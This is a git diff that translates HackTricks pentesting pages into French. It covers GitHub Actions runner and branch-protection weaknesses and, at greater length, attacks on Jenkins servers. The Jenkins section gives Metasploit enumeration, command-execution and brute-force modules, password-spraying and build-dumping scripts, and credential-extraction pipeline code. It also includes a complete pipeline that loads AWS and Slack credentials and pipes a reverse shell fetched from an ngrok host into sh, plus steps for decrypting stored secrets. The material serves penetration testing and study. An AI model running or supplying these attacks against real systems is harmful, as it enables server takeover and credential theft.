+Il peut également définir un **nombre d'examens requis** avant **d'exécuter** une **action** utilisant un **environnement** ou **attendre** un **certain temps** avant de permettre aux déploiements de se poursuivre.
 
 ### Git Action Runner
 
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+Une action Github peut être **exécutée dans l'environnement github** ou peut être exécutée dans une **infrastructure tierce** configurée par l'utilisateur.
 
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Plusieurs organisations permettront d'exécuter des actions Github dans une **infrastructure tierce** car cela a tendance à être **moins cher**.
 
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
+Vous pouvez **lister les runners auto-hébergés** d'une organisation à _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+La façon de trouver quelles **actions Github sont exécutées dans une infrastructure non-github** est de rechercher `runs-on: self-hosted` dans la configuration yaml de l'action Github.
 
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+Il est **impossible d'exécuter une action Github d'une organisation à l'intérieur d'une boîte auto-hébergée** d'une autre organisation car **un jeton unique est généré pour le Runner** lors de sa configuration pour savoir à quelle organisation le runner appartient.
 
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+Si le **Github Runner personnalisé est configuré sur une machine à l'intérieur d'AWS ou de GCP**, par exemple, l'action **pourrait avoir accès à l'endpoint de métadonnées** et **voler le jeton du compte de service** avec lequel la machine fonctionne.
 
-### Git Action Compromise
+### Compromission de l'Action Git
 
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+Si toutes les actions (ou une action malveillante) sont autorisées, un utilisateur pourrait utiliser une **action Github** qui est **malveillante** et qui va **compromettre** le **conteneur** où elle est exécutée.
 
 > [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> Une **action Github malveillante** exécutée pourrait être **abusée** par l'attaquant pour :
 >
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Voler tous les secrets** auxquels l'action a accès
+> - **Se déplacer latéralement** si l'action est exécutée à l'intérieur d'une **infrastructure tierce** où le jeton SA utilisé pour exécuter la machine peut être accessible (probablement via le service de métadonnées)
+> - **Abuser du jeton** utilisé par le **workflow** pour **voler le code du repo** où l'action est exécutée ou **même le modifier**.
 
-## Branch Protections
+## Protections des Branches
 
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Les protections des branches sont conçues pour **ne pas donner un contrôle complet d'un dépôt** aux utilisateurs. L'objectif est de **mettre en place plusieurs méthodes de protection avant de pouvoir écrire du code dans une certaine branche**.
 
-The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
+Les **protections des branches d'un dépôt** peuvent être trouvées à _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Il est **impossible de définir une protection de branche au niveau de l'organisation**. Donc, toutes doivent être déclarées sur chaque dépôt.
 
-Different protections can be applied to a branch (like to master):
+Différentes protections peuvent être appliquées à une branche (comme à master) :
 
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-  - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-  - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-  - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-  - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-  - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- Vous pouvez **exiger une PR avant de fusionner** (donc vous ne pouvez pas fusionner directement du code sur la branche). Si cela est sélectionné, d'autres protections peuvent être en place :
+- **Exiger un nombre d'approbations**. Il est très courant d'exiger que 1 ou 2 autres personnes approuvent votre PR afin qu'un seul utilisateur ne puisse pas fusionner le code directement.
+- **Rejeter les approbations lorsque de nouveaux commits sont poussés**. Sinon, un utilisateur peut approuver un code légitime et ensuite l'utilisateur pourrait ajouter du code malveillant et le fusionner.
+- **Exiger des examens des Propriétaires de Code**. Au moins 1 propriétaire de code du dépôt doit approuver la PR (donc les utilisateurs "aléatoires" ne peuvent pas l'approuver)
+- **Restreindre qui peut rejeter les examens des demandes de tirage.** Vous pouvez spécifier des personnes ou des équipes autorisées à rejeter les examens des demandes de tirage.
+- **Autoriser des acteurs spécifiés à contourner les exigences des demandes de tirage**. Ces utilisateurs pourront contourner les restrictions précédentes.
+- **Exiger que les vérifications de statut réussissent avant de fusionner.** Certaines vérifications doivent réussir avant de pouvoir fusionner le commit (comme une action github vérifiant qu'il n'y a pas de secret en clair).
+- **Exiger la résolution des conversations avant de fusionner**. Tous les commentaires sur le code doivent être résolus avant que la PR puisse être fusionnée.
+- **Exiger des commits signés**. Les commits doivent être signés.
+- **Exiger une histoire linéaire.** Empêcher les commits de fusion d'être poussés vers des branches correspondantes.
+- **Inclure les administrateurs**. Si cela n'est pas défini, les administrateurs peuvent contourner les restrictions.
+- **Restreindre qui peut pousser vers des branches correspondantes**. Restreindre qui peut envoyer une PR.
 
 > [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Comme vous pouvez le voir, même si vous parvenez à obtenir des identifiants d'un utilisateur, **les dépôts peuvent être protégés vous empêchant de pousser du code sur master** par exemple pour compromettre le pipeline CI/CD.
 
-## References
+## Références
 
 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 4dfba3ff3..21cfc56fe 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -2,311 +2,291 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
+Jenkins est un outil qui offre une méthode simple pour établir un **environnement d'intégration continue** ou de **livraison continue** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-## Unauthenticated Enumeration
-
-In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
+## Énumération non authentifiée
 
+Afin de rechercher des pages Jenkins intéressantes sans authentification comme (_/people_ ou _/asynchPeople_, cela liste les utilisateurs actuels) vous pouvez utiliser :
 ```
 msf> use auxiliary/scanner/http/jenkins_enum
 ```
-
-Check if you can execute commands without needing authentication:
-
+Vérifiez si vous pouvez exécuter des commandes sans avoir besoin d'authentification :
 ```
 msf> use auxiliary/scanner/http/jenkins_command
 ```
+Sans identifiants, vous pouvez regarder à l'intérieur du chemin _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ pour **noms d'utilisateur**.
 
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
-
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
+Vous pourrez peut-être obtenir la version de Jenkins à partir du chemin _**/oops**_ ou _**/error**_.
 
 ![](<../../images/image (146).png>)
 
-### Known Vulnerabilities
+### Vulnérabilités Connues
 
 {{#ref}}
 https://github.com/gquere/pwn_jenkins
 {{#endref}}
 
-## Login
+## Connexion
 
-In the basic information you can check **all the ways to login inside Jenkins**:
+Dans les informations de base, vous pouvez vérifier **toutes les façons de se connecter à Jenkins** :
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-### Register
+### Inscription
 
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+Vous pourrez trouver des instances de Jenkins qui **vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.**
 
-### **SSO Login**
+### **Connexion SSO**
 
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+De plus, si la **fonctionnalité**/**plugins** **SSO** étaient présents, vous devriez essayer de **vous connecter** à l'application en utilisant un compte test (c'est-à-dire, un **compte Github/Bitbucket test**). Astuce de [**ici**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
 
 ### Bruteforce
 
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
-
+**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce de nom d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
 ```
 msf> use auxiliary/scanner/http/jenkins_login
 ```
-
 ### Password spraying
 
-Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
+Utilisez [ce script python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [ce script powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
 
-### IP Whitelisting Bypass
+### Contournement de la liste blanche IP
 
-Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
+De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur le SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.
 
-To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
+Pour ce faire, les organisations **mettent sur liste blanche** les **plages IP** des **plateformes SCM**, leur permettant d'accéder au **système CI interne** via des **webhooks**. Cependant, il est important de noter que **quiconque** peut créer un **compte** sur GitHub ou GitLab et le configurer pour **déclencher un webhook**, envoyant potentiellement des requêtes au **système CI interne**.
 
-Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+Vérifiez : [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
 
-## Internal Jenkins Abuses
+## Abus internes de Jenkins
 
-In these scenarios we are going to suppose you have a valid account to access Jenkins.
+Dans ces scénarios, nous allons supposer que vous avez un compte valide pour accéder à Jenkins.
 
 > [!WARNING]
-> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
+> En fonction du mécanisme **d'autorisation** configuré dans Jenkins et des permissions de l'utilisateur compromis, vous **pourriez être en mesure ou non de réaliser les attaques suivantes.**
 
-For more information check the basic information:
+Pour plus d'informations, consultez les informations de base :
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-### Listing users
+### Liste des utilisateurs
 
-If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enregistrés à [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
 
-### Dumping builds to find cleartext secrets
-
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
+### Dumping des builds pour trouver des secrets en clair
 
+Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver, espérons-le, des secrets en clair.
 ```bash
 python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
 cd build_dumps
 gitleaks detect --no-git -v
 ```
+### **Vol de crédentiels SSH**
 
-### **Stealing SSH Credentials**
-
-If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
+Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les crédentiels SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces crédentiels** en créant/modifiant un nœud et **en définissant un hôte qui enregistrera les crédentiels** sans vérifier la clé de l'hôte :
 
 ![](<../../images/image (218).png>)
 
-You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
+Vous trouverez généralement les crédentiels ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).
 
-### **RCE in Jenkins**
+### **RCE dans Jenkins**
 
-Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
+Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées dans le même réseau ou même de **rassembler des crédentiels cloud**.
 
-By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
+Par défaut, Jenkins s'exécute **en tant que SYSTEM**. Donc, le compromettre donnera à l'attaquant **des privilèges SYSTEM**.
 
-### **RCE Creating/Modifying a project**
+### **RCE Création/Modification d'un projet**
 
-Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
+Créer/Modifier un projet est un moyen d'obtenir RCE sur le serveur Jenkins :
 
 {{#ref}}
 jenkins-rce-creating-modifying-project.md
 {{#endref}}
 
-### **RCE Execute Groovy script**
+### **RCE Exécution de script Groovy**
 
-You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
+Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus furtif que de créer un nouveau projet :
 
 {{#ref}}
 jenkins-rce-with-groovy-script.md
 {{#endref}}
 
-### RCE Creating/Modifying Pipeline
+### RCE Création/Modification de Pipeline
 
-You can also get **RCE by creating/modifying a pipeline**:
+Vous pouvez également obtenir **RCE en créant/modifiant un pipeline** :
 
 {{#ref}}
 jenkins-rce-creating-modifying-pipeline.md
 {{#endref}}
 
-## Pipeline Exploitation
+## Exploitation de Pipeline
 
-To exploit pipelines you still need to have access to Jenkins.
+Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.
 
-### Build Pipelines
+### Pipelines de Construction
 
-**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
+Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, il peut être configuré un **fichier à l'intérieur du dépôt** qui contiendra la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :
 
 ![](<../../images/image (127).png>)
 
-It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
+Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'**accès** au dépôt et l'accès au pipeline.
 
-If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
-It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
+Si un attaquant a **un accès en écriture sur ce fichier**, il pourra **le modifier** et **potentiellement déclencher** le pipeline sans même avoir accès à Jenkins.\
+Il est possible que l'attaquant doive **contourner certaines protections de branche** (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).
 
-The most common triggers to execute a custom pipeline are:
+Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :
 
-- **Pull request** to the main branch (or potentially to other branches)
-- **Push to the main branch** (or potentially to other branches)
-- **Update the main branch** and wait until it's executed somehow
+- **Demande de tirage** vers la branche principale (ou potentiellement vers d'autres branches)
+- **Pousser vers la branche principale** (ou potentiellement vers d'autres branches)
+- **Mettre à jour la branche principale** et attendre qu'elle soit exécutée d'une manière ou d'une autre
 
 > [!NOTE]
-> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
+> Si vous êtes un **utilisateur externe**, vous ne devriez pas vous attendre à créer une **PR vers la branche principale** du dépôt d'un **autre utilisateur/organisation** et **déclencher le pipeline**... mais si c'est **mal configuré**, vous pourriez complètement **compromettre des entreprises juste en exploitant cela**.
 
-### Pipeline RCE
+### RCE de Pipeline
 
-In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
+Dans la section RCE précédente, une technique a déjà été indiquée pour [**obtenir RCE en modifiant un pipeline**](./#rce-creating-modifying-pipeline).
 
-### Checking Env variables
-
-It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
+### Vérification des variables d'environnement
 
+Il est possible de déclarer des **variables d'environnement en texte clair** pour l'ensemble du pipeline ou pour des étapes spécifiques. Ces variables d'environnement **ne devraient pas contenir d'informations sensibles**, mais un attaquant pourrait toujours **vérifier toutes les configurations de pipeline/Jenkinsfiles** :
 ```bash
 pipeline {
-    agent {label 'built-in'}
-    environment {
-        GENERIC_ENV_VAR = "Test pipeline ENV variables."
-    }
+agent {label 'built-in'}
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
 
-    stages {
-        stage("Build") {
-                environment {
-                    STAGE_ENV_VAR = "Test stage ENV variables."
-                }
-                steps {
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
 ```
-
 ### Dumping secrets
 
-For information about how are secrets usually treated by Jenkins check out the basic information:
+Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
-
-There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
+Les identifiants peuvent être **scopés aux fournisseurs globaux** (`/credentials/`) ou à des **projets spécifiques** (`/job/<project-name>/configure`). Par conséquent, pour exfiltrer tous les identifiants, vous devez **compromettre au moins tous les projets** qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.
 
+Il y a un autre problème, pour obtenir un **secret à l'intérieur de l'env** d'un pipeline, vous devez **connaître le nom et le type du secret**. Par exemple, si vous essayez de **charger** un **secret** **`usernamePassword`** en tant que **secret** **`string`**, vous obtiendrez cette **erreur** :
 ```
 ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
 ```
-
-Here you have the way to load some common secret types:
-
+Voici comment charger certains types de secrets courants :
 ```bash
 withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
-    sh '''
-        env #Search for USERNAME and PASS
-    '''
+sh '''
+env #Search for USERNAME and PASS
+'''
 }
 
 withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
-    sh '''
-        env #Search for SECRET
-    '''
+sh '''
+env #Search for SECRET
+'''
 }
 
 withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
-    sh '''
-        env # Search for USERPASS
-    '''
+sh '''
+env # Search for USERPASS
+'''
 }
 
 # You can also load multiple env variables at once
 withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
-                 string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
-     sh '''
-        env
-    '''
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+env
+'''
 }
 ```
-
-At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+À la fin de cette page, vous pouvez **trouver tous les types de credentials** : [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
 
 > [!WARNING]
-> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
+> La meilleure façon de **dump all the secrets at once** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **leaker** les **master keys** et les **encrypted secrets** et de les déchiffrer hors ligne.\
+> Plus d'informations sur la façon de faire cela dans la [section Nodes & Agents](./#nodes-and-agents) et dans la [section Post Exploitation](./#post-exploitation).
 
 ### Triggers
 
-From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
-
-Cron example:
+D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **manières automatisées dont le Pipeline doit être re-déclenché**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les triggers actuellement disponibles sont `cron`, `pollSCM` et `upstream`.
 
+Exemple de Cron :
 ```bash
 triggers { cron('H */4 * * 1-5') }
 ```
+Vérifiez **d'autres exemples dans la documentation**.
 
-Check **other examples in the docs**.
+### Nœuds & Agents
 
-### Nodes & Agents
+Une **instance Jenkins** peut avoir **différents agents fonctionnant sur différentes machines**. Du point de vue d'un attaquant, l'accès à différentes machines signifie **différentes potentielles informations d'identification cloud** à voler ou **différents accès réseau** qui pourraient être abusés pour exploiter d'autres machines.
 
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
-
-For more information check the basic information:
+Pour plus d'informations, consultez les informations de base :
 
 {{#ref}}
 basic-jenkins-information.md
 {{#endref}}
 
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
+Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :
 
 ![](<../../images/image (249).png>)
 
-It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
-
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+Il est **particulièrement intéressant de compromettre le nœud intégré** car il contient des informations sensibles sur Jenkins.
 
+Pour indiquer que vous souhaitez **exécuter** le **pipeline** dans le **nœud Jenkins intégré**, vous pouvez spécifier dans le pipeline la configuration suivante :
 ```bash
 pipeline {
-    agent {label 'built-in'}
+agent {label 'built-in'}
 ```
+### Exemple complet
 
-### Complete example
-
-Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
-
+Pipeline dans un agent spécifique, avec un déclencheur cron, avec des variables d'environnement de pipeline et de stage, chargeant 2 variables dans une étape et envoyant un reverse shell :
 ```bash
 pipeline {
-    agent {label 'built-in'}
-    triggers { cron('H */4 * * 1-5') }
-    environment {
-        GENERIC_ENV_VAR = "Test pipeline ENV variables."
-    }
+agent {label 'built-in'}
+triggers { cron('H */4 * * 1-5') }
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
 
-    stages {
-        stage("Build") {
-                environment {
-                    STAGE_ENV_VAR = "Test stage ENV variables."
-                }
-                steps {
-            withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
-                     string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
-                sh '''
-                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
-                '''
-            }
-        }
-    }
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
+withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
+'''
+}
+}
+}
 
-    post {
-        always {
-            cleanWs()
-        }
-    }
+post {
+always {
+cleanWs()
+}
+}
 }
 ```
-
-## Arbitrary File Read to RCE
+## Lecture de fichiers arbitraires à RCE
 
 {{#ref}}
 jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -329,16 +309,14 @@ jenkins-rce-creating-modifying-pipeline.md
 ## Post Exploitation
 
 ### Metasploit
-
 ```
 msf> post/multi/gather/jenkins_gather
 ```
-
 ### Jenkins Secrets
 
-You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
+Vous pouvez lister les secrets en accédant à `/credentials/` si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** peuvent également contenir **plus de credentials**.
 
-If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
+Si vous pouvez **voir la configuration de chaque projet**, vous pouvez également y voir les **noms des credentials (secrets)** utilisés pour accéder au dépôt et **d'autres credentials du projet**.
 
 ![](<../../images/image (180).png>)
 
@@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md
 
 #### From disk
 
-These files are needed to **decrypt Jenkins secrets**:
+Ces fichiers sont nécessaires pour **décrypter les secrets Jenkins** :
 
 - secrets/master.key
 - secrets/hudson.util.Secret
 
-Such **secrets can usually be found in**:
+Ces **secrets peuvent généralement être trouvés dans** :
 
 - credentials.xml
 - jobs/.../build.xml
 - jobs/.../config.xml
 
-Here's a regex to find them:
-
+Voici une regex pour les trouver :
 ```bash
 # Find the secrets
 grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
 # Secret example
